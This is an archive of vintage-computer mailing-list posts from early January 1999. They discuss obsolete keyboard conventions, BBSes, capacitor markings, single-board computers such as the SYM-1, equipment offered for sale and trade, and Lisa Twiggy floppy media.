From donm at cts.com Fri Jan 1 00:08:21 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:39:38 2005 Subject: That does not compute In-Reply-To: Message-ID: On Thu, 31 Dec 1998, Sam Ismail wrote: > On Fri, 1 Jan 1999, Andrew Davie wrote: > > > This custom seemed to disappear in the mid 80s. Sometimes I get to thinking > > of the things that have changed, and when and why. Another example that > > comes to mind - I quite clearly remember about 10 years ago thinking how > > useless the tilde (~) was on a keyboard. Of course, now we are all > > net-bound it's used all the time. I wonder if there are other examples of > > ins/outs that you oldies remember and would care to share. Things that were > > ubiquitous and no longer with us. > > Well, certainly the '@' symbol was entirely useless until internet e-mail. > And how many people actually use function keys any more in the age of the > GUI and mouse? Well, they are quite handy with a shell account and Lynx! - don > Sellam Alternate e-mail: dastar@siconic.com > ------------------------------------------------------------------------------ > Always being hassled by the man. > > Coming in 1999: Vintage Computer Festival 3.0 > See http://www.vintage.org/vcf for details! > [Last web site update: 12/27/98] > > donm@cts.com *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Don Maslin - Keeper of the Dina-SIG CP/M System Disk Archives Chairman, Dina-SIG of the San Diego Computer Society Clinging tenaciously to the trailing edge of technology. Sysop - Elephant's Graveyard (CP/M) Z-Node 9 - 619-454-8412 *--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--* see old system support at http://www.psyber.com/~tcj visit the "Unofficial" CP/M Web site at http://devili.iki.fi/cpm with Mirror at http://www.mathcs.emory.edu/~cfs/cpm From nfields at ix.netcom.com Fri Jan 1 01:43:47 1999 From: nfields at ix.netcom.com (Noel Fields) Date: Sun Feb 27 18:39:41 2005 Subject: That does not compute References: Message-ID: <368C7CB3.EC8BD009@ix.netcom.com> BBS' are still out there :) I run a 10 line one myself still! :) But I have one that still hangs in my brain, everytime I think of "older" computers. Its the PIP command from cp/m. You all remember that one? :) Noel SUPRDAVE@aol.com wrote: > In a message dated 12/31/98 9:42:11 PM EST, adavie@mad.scientist.com writes: > > << I wonder if there are other examples of > ins/outs that you oldies remember and would care to share. Things that were > ubiquitous and no longer with us. >> > > how about BBSs? they are still around, but with the net catching on and > everyone getting on it, bulletin boards are all but forgotten it seems. From zmerch at 30below.com Fri Jan 1 01:08:27 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:39:41 2005 Subject: Shugart Model 801 (8 inch floppy) In-Reply-To: References: <199812312331.PAA01122@mxu1.u.washington.edu> Message-ID: <3.0.1.32.19990101020827.0097d930@mail.30below.com> On or about 12:08 AM 1/1/99 +0000, Tony Duell was caught in a dark alley speaking these words: >Happy New Year to all!!! > >> 104 >> Z >> 50V >Yes.. 104 -> 10*10^4 pf (read the numbers like the bands on a resistor, >but in pf) = 0.1uF. The Z is the tolerance, I think. 50V is the maximum >working voltage. >In other words that's one of the 0.1uF decoupling caps I mentioned. C1 >should have been just like it. Yep... FYI: The ol' garage-door Atari 810 floppy Drive used bunches of these glass caps for decouplers as well. Most any type of cap (of the right size, of course) will work for a decoupler cap, AFAIK. Of course, with electrolytic and tantalum caps, you will want to make sure you have the polarity correct. For you Tandy 100/102/200 Owners: Only 365 Days to 1900! For you Tandy 600 Owners: Sorry, you'll have to wait another 101 years! (The calendar is good right up to 2099! :-) Happy New Year! Roger "Merch" Merchberger ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== for (1..15) { print "Merry Christmas\n"; } (from perl.1 man page, version 4.) From SUPRDAVE at aol.com Fri Jan 1 01:02:04 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:39:44 2005 Subject: what is this? motorola alphamate Message-ID: <350f7cce.368c72ec@aol.com> In a message dated 12/31/98 10:14:47 PM EST, sinasohn@ricochet.net writes: << > size keyboard and a 3x40 line lcd display. machine also has connections for > rs232, telephone, and din plugs for modem and printer. machine can also run >I tried to buy a lot of those once. I thought they were portable >terminals, but they turn out to be "portable paging entry terminals" used >to send pages to pagers, I assume. >From my research into alphapaging standards (I was working on a program for the RS m100 to use it as an alphapaging station) I believe that is exactly what it is. A tech from airtouch recommended I just buy one of those instead of writing my own program. (Probably shoulda listened; the pgm isn't done yet.) >> well, if anyone wants this alphamate, just let me know. i dont want it. From pete at dunnington.u-net.com Fri Jan 1 08:10:39 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:39:44 2005 Subject: That does not compute In-Reply-To: Sam Ismail "Re: That does not compute" (Dec 31, 20:01) References: Message-ID: <9901011410.ZM5625@indy.dunnington.u-net.com> On Dec 31, 20:01, Sam Ismail wrote: > AppleSoft didn't have a PRINT @ statement so chalk that one up to my > arrogant ignorance. Interestingly though, Woz squeezed the '@' symbol > on to the original Apple ][ keyboard above the P key (shift-P = @). Who > knows why. The @ wasn't used for anything inherent in the Apple. It follows teletype usage, I think; CTRL-SHIFT-@ = CTRL-@ = NUL Probably Woz had a use for 'NUL' rather than '@'. w.r.t. "PRINT @", several BASICs (but not Applesoft) had "PRINT AT" instead. -- Pete Peter Turnbull Dept. of Computer Science University of York From pete at dunnington.u-net.com Fri Jan 1 08:42:35 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:39:44 2005 Subject: Shugart Model 801 (8 inch floppy) In-Reply-To: ard@p850ug1.demon.co.uk (Tony Duell) "Re: Shugart Model 801 (8 inch floppy)" (Jan 1, 0:08) References: Message-ID: <9901011442.ZM5708@indy.dunnington.u-net.com> On Jan 1, 0:08, Tony Duell wrote: > Yes.. 104 -> 10*10^4 pf (read the numbers like the bands on a resistor, > but in pf) = 0.1uF. The Z is the tolerance, I think. 50V is the maximum > working voltage. Yes, the letter is the tolerance, as defined in IEC 63(1963) (and possibly elsewhere). J=5% K=10% M=20% and Z means "something else" or "not very good" or "unclassified", often +20% -80%. -- Pete Peter Turnbull Dept. of Computer Science University of York From pete at dunnington.u-net.com Fri Jan 1 08:22:25 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:39:44 2005 Subject: That does not compute In-Reply-To: "Zane H. Healy" "Re: That does not compute" (Dec 31, 20:07) References: <000901be352f$a13e43e0$a4f438cb@a.davie> Message-ID: <9901011422.ZM5666@indy.dunnington.u-net.com> On Dec 31, 20:07, Zane H. Healy wrote: > As for the function keys, until recently I think the only thing I'd ever > used them for was WordPerfect. Now I use them all the time on VT420's, and > wish I knew how to set them on a RS/6000. They would probably be used a > LOT more if people knew how, or if there was some nice UNIX/Mac/Windoz Apps > for setting them to do stuff (of course there probably is, but I can't > think of any). I use them a lot too, partly because on my Unix box there's a little utility called 'bindkey' to assign arbitrary strings to keys. It works for any keys, but generally I find it more useful to assign command strings to function keys, and I'm used to programming strings into function keys on other micros (BBC Micro, Archimedes, mostly). The insert() and string(string) functions in xterm should allow you to program your function keys, but it's a bit tedious by hand, I expect. -- Pete Peter Turnbull Dept. of Computer Science University of York From jrkeys at concentric.net Fri Jan 1 10:05:34 1999 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:39:44 2005 Subject: SYM-1 single board computer In-Reply-To: <000601be353f$6c4dc380$70f438cb@a.davie> Message-ID: <000201be35a0$90955da0$53afadce@5x86jk> I have two manuals for the SYM-1, one the Reference Manual and two the Programming manual that I use with the SYM-1 that I own. I also have 14 Kim-1's in my collection with no docs for them. If need a page or two copied from the SYM-1 manuals let me know. John > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Andrew Davie > Sent: Thursday, December 31, 1998 10:30 PM > To: Discussion re-collecting of classic computers > Subject: SYM-1 single board computer > > > I am fortunate to have recentlyly added a SYM-1 to my collection. > Could anybody with instructions/documentation for this machine please > contact me. I'd like to explore the possibility of purchase or trade of > these documents, or copies. I now have the KIM and SYM - would > anybody care > to suggest another target to aim for? ie: What other single > board computers > from the era, with on-board keypads, would be fitting companions > for the SYM > and KIM? > Thanks > A > > > From neil at goodnet.com Fri Jan 1 10:34:50 1999 From: neil at goodnet.com (Neil B. Sheldon Sr) Date: Sun Feb 27 18:39:44 2005 Subject: Tri-Data Memory Boards Message-ID: <3.0.1.32.19990101093450.00862630@207.98.129.100> Hi, I have some old memory boards that use the EMM SEMI 4200 Chip (the same as the Altair 16K Static RAM 16-MCS Board uses). They have TRI-DATA etched into the copper. They also have "MCI 1" in white silk screen on the card. They have a strange configuration: 6 Bit colum X 4 Bit row. They also have an EPROM on board. Does any one know where they came from, what they are used for and if they are worth anything. If they are worth something, I would be willing to exchange them for a fair price. If they aren't worth anything, I'll just scrap them and sell the memory for use with an Altair. At any rate, if anyone knows anything about them, I would appreciate knowing about them. Thanks, Neil. From dogas at leading.net Fri Jan 1 10:44:32 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:39:44 2005 Subject: SYM-1 single board computer Message-ID: <01be35a6$01ce67a0$dcc962cf@devlaptop> >> to suggest another target to aim for? ie: What other single board computers >> from the era, with on-board keypads, would be fitting companions for the SYM >> and KIM? > >The AIM-65 (single-board, full keyboard, LED display and 20-column >printer on-board), SD Systems Z-80 starter kit, Motorola MEK6800, VIM-1 >(predecessor to the SYM-1). > >There are many more, but you only wanted those with on-board keypads. > A few more keypad systems immediately come to mind.. Heathkit ET3400: 680x based HP5036A: 8085 based IMSAI 8048 controllers: - Mike: dogas@leading.net From dogas at leading.net Fri Jan 1 10:51:11 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:39:44 2005 Subject: SYM-1 single board computer Message-ID: <01be35a6$ef9debe0$dcc962cf@devlaptop> >The AIM-65 (single-board, full keyboard, LED display and 20-column >printer on-board), SD Systems Z-80 starter kit, Motorola MEK6800, VIM-1 >(predecessor to the SYM-1). > I have a full doc set for the AIM-65 if anyone needs any info on this machine. Happy new year all! - Mike: dogas@leading.net From Watzman at ibm.net Fri Jan 1 11:13:56 1999 From: Watzman at ibm.net (Barry A. Watzman) Date: Sun Feb 27 18:39:44 2005 Subject: Glass capacitors that look like diodes Message-ID: <000701be35aa$2d5dff80$62bb6420@barrysp2> The "glass capacitors" that look like diodes look that way because they ARE diodes. It turns out that one of the cheapest and best ways to make 0.1uF capacitors is to make two diodes in the same case, in series with opposite polarities (it never conducts because one of the diodes is always back biased). The back-biased junction forms the capacitor, and it has very good characteristics for bypass (decoupling). As for the 104 notation, this is 10**4 (ten to the 4th power). Thats 10,000 pF = 0.1 uF. 50V is the voltage rating. Barry Watzman -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990101/66c5f2ff/attachment.html From gram at cnct.com Fri Jan 1 11:19:10 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:39:44 2005 Subject: That does not compute References: <9901011410.ZM5625@indy.dunnington.u-net.com> Message-ID: <368D038E.2DFD65B2@cnct.com> Pete Turnbull wrote: > w.r.t. "PRINT @", several BASICs (but not Applesoft) had "PRINT AT" > instead. TRS-80 Level 1 BASIC used PRINT AT, Level 2 (and all later Tandy BASICs by Microsoft) used PRINT @. Level 1 wasn't by Microsoft and I don't recall the syntax used for screen positioning by the Ryan-MacFarland BASIC compiler. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From allisonp at world.std.com Fri Jan 1 11:29:49 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:39:44 2005 Subject: SYM-1 single board computer Message-ID: <199901011729.AA12632@world.std.com> Mr "TV Dog" is back up and around with his MSDOS/Tandy 1000 realm and has posted a page of general purpose software for internet use on older non-windows machines at http://www.agate.net/~tvdog/internet.html Just in case you wanted to know From roblwill at usaor.net Fri Jan 1 15:38:16 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:39:44 2005 Subject: FSOT: WANG WLTC "Transportable" laptop Message-ID: <01be35cf$0a908b60$LocalHost@THEGENERAL> Hello. I have a WANG WLTC computer that I would like to either sell for a reasonable price, or trade for another laptop/portable computer (preferably classic). Here are the specs: -8086 (8MHz?) -10MB internal HD -WANG compatible LCD (can emulate CGA or Hercules) -Built-in thermal printer w/plain-paper capability (ribbon available) -512K RAM -50-pin Centronics SCSI port for floppy drive, external HD, etc. This computer supposedly has an in-ROM wordprocessor and spreadsheet, but I have yet to figure out how to get into them. I have a not-so-good battery for it, so it will occasionally not boot (sort of like the Mac Portable - must have a charged battery to run correctly). The internal P/S has a small problem in that it will occasionally blow a cap. I think this is either caused by the bad battery or because some of the other electrolytics are starting to go bad (I have no way of testing them). It requires an 18vDC, 1.5 amp external P/S, which I don't have. The person that I previously had a deal with seems to have backed out again, so I'm offering it to the first person that responds with a reasonable offer. I have two WLTC's , and I don't like to have more than one of a single type of computer, so I'm offering it here, where someone would would possibly be able to fix/use it. I'd say that it's a fairly durable computer, since my other one has nearly (a guess) 27,000 hours on the HD, with no bad sectors, it still ran fine, even after it was dropped, until the external P/S got zapped last year. Now I run it off of three 6v Power Wheels batteries. If anyone is interested, or wants a picture of it, send me a personal email, and I can send you one (about 40k). -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 PS>> If anyone has any spare WLTC power bricks, and you want to sell one, let me know. -ThAnX! From ckaiser at oa.ptloma.edu Fri Jan 1 13:25:33 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:39:44 2005 Subject: Commodore Parts & Upgrades In-Reply-To: <368AEF6C.D01DCD12@mindspring.com> from "Phil Clayton" at Dec 30, 98 10:28:45 pm Message-ID: <199901011925.LAA07414@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 1004 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990101/5c380535/attachment.ksh From musicman38 at mindspring.com Fri Jan 1 02:43:51 1999 From: musicman38 at mindspring.com (Phil Clayton) Date: Sun Feb 27 18:39:44 2005 Subject: what is this? motorola alphamate References: <3.0.16.19981229195751.0f8f655c@ricochet.net> Message-ID: <368C8AC7.1F8D3DB6@mindspring.com> Sorry if this is off topic, but I am looking for software that will do Alpha paging in DOS. I already have software for windows. Does anyone know of any shareware or any web site that may have this ? Phil... From ard at p850ug1.demon.co.uk Fri Jan 1 13:58:31 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:44 2005 Subject: That does not compute In-Reply-To: <19990101042806.17146.qmail@brouhaha.com> from "Eric Smith" at Jan 1, 99 04:28:06 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 826 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990101/004a8a66/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 1 14:07:09 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:44 2005 Subject: That does not compute In-Reply-To: from "Sam Ismail" at Dec 31, 98 08:01:54 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 170 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990101/b1c823ba/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 1 14:08:40 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:44 2005 Subject: Shugart Model 801 (8 inch floppy) In-Reply-To: <9901011442.ZM5708@indy.dunnington.u-net.com> from "Pete Turnbull" at Jan 1, 99 02:42:35 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 324 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990101/aa6815bc/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 1 14:13:23 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:44 2005 Subject: Glass capacitors that look like diodes In-Reply-To: <000701be35aa$2d5dff80$62bb6420@barrysp2> from "Barry A. Watzman" at Jan 1, 99 12:13:56 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 764 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990101/5f0ef391/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 1 14:14:50 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:44 2005 Subject: Glass capacitors that look like diodes In-Reply-To: <199901011743.AA20186@world.std.com> from "Allison J Parent" at Jan 1, 99 12:43:03 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 251 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990101/d9c0fcd8/attachment.ksh From spc at armigeron.com Fri Jan 1 15:32:59 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:39:44 2005 Subject: That does not compute In-Reply-To: <368C7CB3.EC8BD009@ix.netcom.com> from "Noel Fields" at Dec 31, 98 11:43:47 pm Message-ID: <199901012133.QAA05090@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 861 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990101/17b3c4bf/attachment.ksh From rigdonj at intellistar.net Fri Jan 1 17:46:07 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:39:44 2005 Subject: Altair kit on E-OverPay Message-ID: <3.0.1.16.19990101174607.1d9f804c@intellistar.net> I was looking at the Altair kit on E-OverPay. The owner says that his kit didn't come with the Altair label. I also have an Altair that was build from a kit. Mine didn't come with the label either. Anybody know why? Joe From amc358 at interserv.com Fri Jan 1 15:57:28 1999 From: amc358 at interserv.com (Albert J. McCann, Jr.) Date: Sun Feb 27 18:39:44 2005 Subject: Apple 1 Message-ID: <01BE35A7.D8B05D40.amc358@interserv.com> > On Thursday, December 31, 1998 7:49 PM, Andrew Davie wrote: > A gent I've just traded with to obtain a boxed SYM-1 casually What version of SYM is it? I have a SYM that is a slightly later one, 1.1? It's not the one that took a 680x chip (version 2?), but the one after the VIM. I'm looking for a manual, or at least a photocopy of the schematics. Someone from Australia sent me an old SYM manual set, but it was for the earlier VIM. He also sent along the BASIC and RAE (assembler) proms. I'm keeping the BASIC, but would be willing to trade the RAE for a SYM manual. Al McCann amc358@interserv.com From erd at infinet.com Fri Jan 1 16:16:08 1999 From: erd at infinet.com (Ethan Dicks) Date: Sun Feb 27 18:39:44 2005 Subject: SYM-1 single board computer In-Reply-To: from "Sam Ismail" at Dec 31, 98 09:29:22 pm Message-ID: <199901012216.RAA26614@user2.infinet.com> > > On Fri, 1 Jan 1999, Andrew Davie wrote: > > > I am fortunate to have recentlyly added a SYM-1 to my collection. Cool. I got one last year. I'd had the manual since I was a kid (1978), and *eventually*, the computer was attracted to the docs. > The AIM-65 (single-board, full keyboard, LED display and 20-column > printer on-board), Still waiting for one... > SD Systems Z-80 starter kit, Found one in L.A. at an aviation surplus shop for $10. Haven't powered it up yet. I would love to find some information on what S-100 cards work with it, since it has two S-100 slots in the upper left corner. > Motorola MEK6800, Never seen one. > VIM-1 (predecessor to the SYM-1). Never heard of it. What's it like? > There are many more, but you only wanted those with on-board keypads. RCA COSMAC VIP - 1K to 4K RAM, hex keypad, 512 byte ROM, cassette interface, optional CHIP-8 interpreter (to be typed in and saved to tape). I still have my original VIP tape; I was thinking of cutting a CD. Now _I'm_ drawing a blank. -ethan From donm at cts.com Fri Jan 1 17:24:13 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:39:44 2005 Subject: That does not compute In-Reply-To: <199901012133.QAA05090@armigeron.com> Message-ID: On Fri, 1 Jan 1999, Sean 'Captain Napalm' Conner wrote: > It was thus said that the Great Noel Fields once stated: > > > > BBS' are still out there :) I run a 10 line one myself still! :) > > Interesting. And here I thought the days of BBSes were past [1]. What > does your BBS provide that keeps enough people calling it? Once you have > SMTP (email), FTP (file transfers), a private NNTP server (usenet or > bulletin boards), HTTP (web, combining FTP and NNTP with varrying degress of > success), IRC (chat mode) and MUDs (multi-user dungeons or multi-player > adventure games), what does a BBS provide that all that doesn't? > > Not to put down BBSes, but I can't see what they would be good for > anymore. > > -spc (Donning asbestos undies 8-) No need for that, I think. BBSes are, IMHO, a dying breed. However, they do still fulfill a niche that the 'net does not. There are significant numbers of people who are vastly inexperienced with use of computers, yet, they would like to get on-line and, not incidentally, get some help. These folks are capable of using - though intimidated by - a simple Telix (or such) DOS based program to call up a local BBS, but windoze and Netscape are well beyond their abilities. There is help to be found on most BBSes and it is typically local so their may even be the possibility of on-site person to person assistance. There is also the local marketing aspect that the 'net can offer, but does not do well. To my knowledge, there is not really any such thing as a San Diego (or any other city) news group that contains only ads from that city or immediate area. For some things, that narrow market can be a real advantage. - don > [1] I stopped calling BBSes in 1991 when I got onto the Internet pretty > much full time. When the Internet hit mainstream in 1993-94, I saw > the handwriting on the wall for BBSes. > > donm@cts.com *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Don Maslin - Keeper of the Dina-SIG CP/M System Disk Archives Chairman, Dina-SIG of the San Diego Computer Society Clinging tenaciously to the trailing edge of technology. Sysop - Elephant's Graveyard (CP/M) Z-Node 9 - 619-454-8412 *--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--* see old system support at http://www.psyber.com/~tcj visit the "Unofficial" CP/M Web site at http://devili.iki.fi/cpm with Mirror at http://www.mathcs.emory.edu/~cfs/cpm From rhblake at bigfoot.com Fri Jan 1 17:37:35 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:39:44 2005 Subject: Commodore Parts & Upgrades References: <199901011925.LAA07414@oa.ptloma.edu> Message-ID: <368D5C3D.1E5C10AA@bigfoot.com> And here's yet another reasonable place, just across the Ohio River from Louisville - Dr. Feelgood (can you feel good with a Commodore??) http://members.aye.net/~feelgood/index.htm Cameron Kaiser wrote: > ::I just came across what appears to be a very good source of Commodore Upgrades, > ::Parts, and add-on's.. Also Hard Drives for 64 & 128 computers.. > ::How about supercharging your commodore 64 to 20Mhz !!! > ::Hang on to your wallet though .. ! > ::Check it out.. http://www.cmdweb.com/ > ::Phil... > > A very reputable company, too. Doug Cotton and friends do great work, and > they also do repairs if you can get the unit to them. > > If you're interested in refurbished equipment, Vintage Computer > (http://www.vintagecomputer.com/) is a very good choice -- I bought my > Okimate 20 and Plus/4 from them. > > -- > -------------------------- personal page: http://calvin.ptloma.edu/~spectre/ -- > Cameron Kaiser Information Technology Services Database Programmer > Point Loma Nazarene University Fax: +1 619 849 2581 > ckaiser@ptloma.edu Phone: +1 619 849 2539 > -- The early bird may get the worm, but the second mouse gets the cheese. ----- From amirault at epix.net Fri Jan 1 18:19:33 1999 From: amirault at epix.net (John Amirault) Date: Sun Feb 27 18:39:44 2005 Subject: Osborne 01 for only $5000.00 References: <199812312230.OAA29291@mxu1.u.washington.edu> <368B5F69.462A9401@mindspring.com> Message-ID: <368D6615.812F4140@epix.net> Phil, I paid $15 for mine! Maybe I should list it on ebay for a starting bid of $1000(JOKE,LAUGH)! I am getting some software for it for only $12. Maybe I can throw the software in for free. I am not selling my Osborne1 now or ever. I think that some people need to learn what the Salvation Army Stores are for. They are all over the USA. John Amirault amirault@epix.net Phil Clayton wrote: > Gads!! Check this out on eBay !!! Ha! Ha! HeHeHe!!! > > An Osborne 01 for an opening bid of only $5000.00 HeHeHe!!! > As stated in the ad it could be a "Corner Stone" of your computer > collection.. > > He is even generous enough to include free shipping.. HeHe!! > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=50980862 > > Funny thing there are no bids on it yet.. > > Phil.. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990101/1cbb8ab6/attachment.html From dastar at ncal.verio.com Fri Jan 1 19:20:45 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:44 2005 Subject: That does not compute In-Reply-To: Message-ID: On Fri, 1 Jan 1999, Tony Duell wrote: > > knows why. The @ wasn't used for anything inherent in the Apple. > > Wasn't esc-@ the clear screen code on the Apple ][. I seem to remember > using it for that. Yes, you're right. I can't remember if I used it as much on my ][+ as I did on my //e but I definitely made good use of that sequence over the years. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From dastar at ncal.verio.com Fri Jan 1 19:25:54 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:44 2005 Subject: SYM-1 single board computer In-Reply-To: <199901012216.RAA26614@user2.infinet.com> Message-ID: On Fri, 1 Jan 1999, Ethan Dicks wrote: > Found one in L.A. at an aviation surplus shop for $10. Haven't powered it > up yet. I would love to find some information on what S-100 cards work > with it, since it has two S-100 slots in the upper left corner. Well, being (somewhat of) a standard just about any S-100 board should work in those slots. > > Motorola MEK6800, > > Never seen one. I've got parts of one. > > VIM-1 (predecessor to the SYM-1). > > Never heard of it. What's it like? It is basically the SYM-1 with a name change. Ray Holt, the designer, said that someone who was already using VIM for a totally different product objected to him using VIM (Versatile Interface Module) so he changed the named to SYM-1 when Synertek bought him out. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From cisin at xenosoft.com Fri Jan 1 19:31:09 1999 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:39:44 2005 Subject: Lisa "twiggy" specs (Was: selling a blank floppy disk In-Reply-To: <19990101041920.17123.qmail@brouhaha.com> Message-ID: Who here knows the specs on the Lisa "twiggy" disks? some simple arithmetic combined with info from Eric's post: "360K" diskettes have 40 tracks, 48 Tracks per inch, double sided, with about 4.5 formatted K per track. (about 6300 unformatted bytes per track, with a LOT used up in sector headers, gaps, and other "overhead") 250K bits per second data transfer rate, with 300 RPM. MFM The diskettes are 300 Oerstedt (magnetic coercivity). "High" density runs 7.5 to 9 formatted K per track. 1.2M diskettes are 600 Oerstedt. 500K bits per second data transfer rate with 360 RPM. MFM (360K disks in a 1.2M drive can be handled by changing the drive speed, or by keeping the 360RPM and upping the data transfer rate to 300K) If we assume that the Lisa did not go any nearer the center nor edges, then 62.5 TPI would lead to about 52 tracks. Assuming double sided, that would mean about 8.375 (average) formatted K per track. That is consistent with "high" density. GCR would tend to provide a flux transition density of about 1.5 times that of FM, and slightly less than that of MFM. Flux transition density would seem to be the most important factor to determine the correct coercivity. Did they have the same number of sectors on each track ("constant rotational speed"), or did they have different numbers of sectors on different tracks ("constant linear velocity")? Therefore, it would seem likely that 1.2M would indeed be the correct blanks to use for homemade "twiggy" disks. I had a chance to play briefly with a Lisa before they were released to the public - the homemade disks that I made out of "360K" did NOT work. -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 On 1 Jan 1999, Eric Smith wrote: > Tony wrote about Twiggy (Lisa 1) diskettes: > > Oh right.... (Just looked). Is there a more sensible way of making that > > sort of media should I ever manage to obtain a machine that uses it? > > Before I acquired any "real" Twiggy diskettes, I hand-made a few by > cutting up the jackets of standard 1.2M high-density floppies (which weren't > readily available when the Lisa 1 was current in 1983; they became common > sometime after the introduction of the IBM PC-AT in 1984). > > Recently I realized that I don't know whether the 1.2M media is actually > appropriate (although it does seem to work). In order to fit 871K on a > double-sided diskette, the Twiggy uses a 62.5 TPI track pitch, rather than > the standard 40 tracks at 48 TPI or 80 tracks at 96 TPI. Since a common > format for a DSDD (not high-density) floppy gets around 720K, and a DSHD > gets 1.2M, the bit density may be closer to that of the DD drive. > > But it's hard to say, since the Twiggy uses GCR at a variable rotation > rate. I need to get the specs on a standard 5.25 inch diskette, such as > the radius of the innermost and outermost tracks, in order to work it out. > > I'm guessing that the reason for 62.5 TPI may have been that they may have > been able to do that with the standard heads that were intended for 48 TPI > drives. > > More information on the Twiggy drives is on my web page: > > http://www.brouhaha.com/~eric/retrocomputing/lisa/twiggy.html > > > And if I hear one more person who claims the Millennium is the 31/12/1999 > > - 01/01/2000 (as opposed to the correct date of 1 year later), I am > > liable to get out a very large LART.. > > I saw a letter to the editor of PC magazine (US edition) sometime within > the past year. The writer claimed that the idea that the millenium would > end at the end of 2000 was stupid; I don't recall exactly what he said about > it, but it was something to the effect that it was OBVIOUS that the millenium > ended at the end of 1999, and that 2000 began a new millenium. > > That's not the interesting part. We hear about bozos like that all the time. > > He went on to "prove" that he was right. > > He explained that if you are counting coins, that your 100th penny was > part of your first dollar. > > Obviously he didn't actually think about the relationship very hard. > > Your 1st penny is part of your first dollar, as is the 2nd, 3rd, 4th, [...], > 98th, 99th, and 100th. Your 101st penny is the first penny of your second > dollar. [Just as the 101st year was the start of the second century, etc.] > > I was just about rolling on the floor when I read this "proof" of his point. > If it had been UseNet, I would have assumed that it was a troll. > > A lot of people gripe about the lack of a year zero. > > I try to explain to people that the year numbers are ordinal numbers, not > cardinal numbers, which usually gets blank stares. So I then explain that > A.D. years are numbered as the first year after the [whatever you call the > divider between B.C. and A.D. dates], the second year after, etc., and that > the B.C. years are numbered as the first year before, second year before, > etc.: > > baseline > event > | > | > <------|------|------|------|------|------|------|------|------|------|-----> > fifth |fourth|third |second|first |first |second|third |fourth|fifth |sixth > year | year | year | year | year | year | year | year | year | year | year > B.C. | B.C. | B.C. | B.C. | B.C. | A.D. | A.D. | 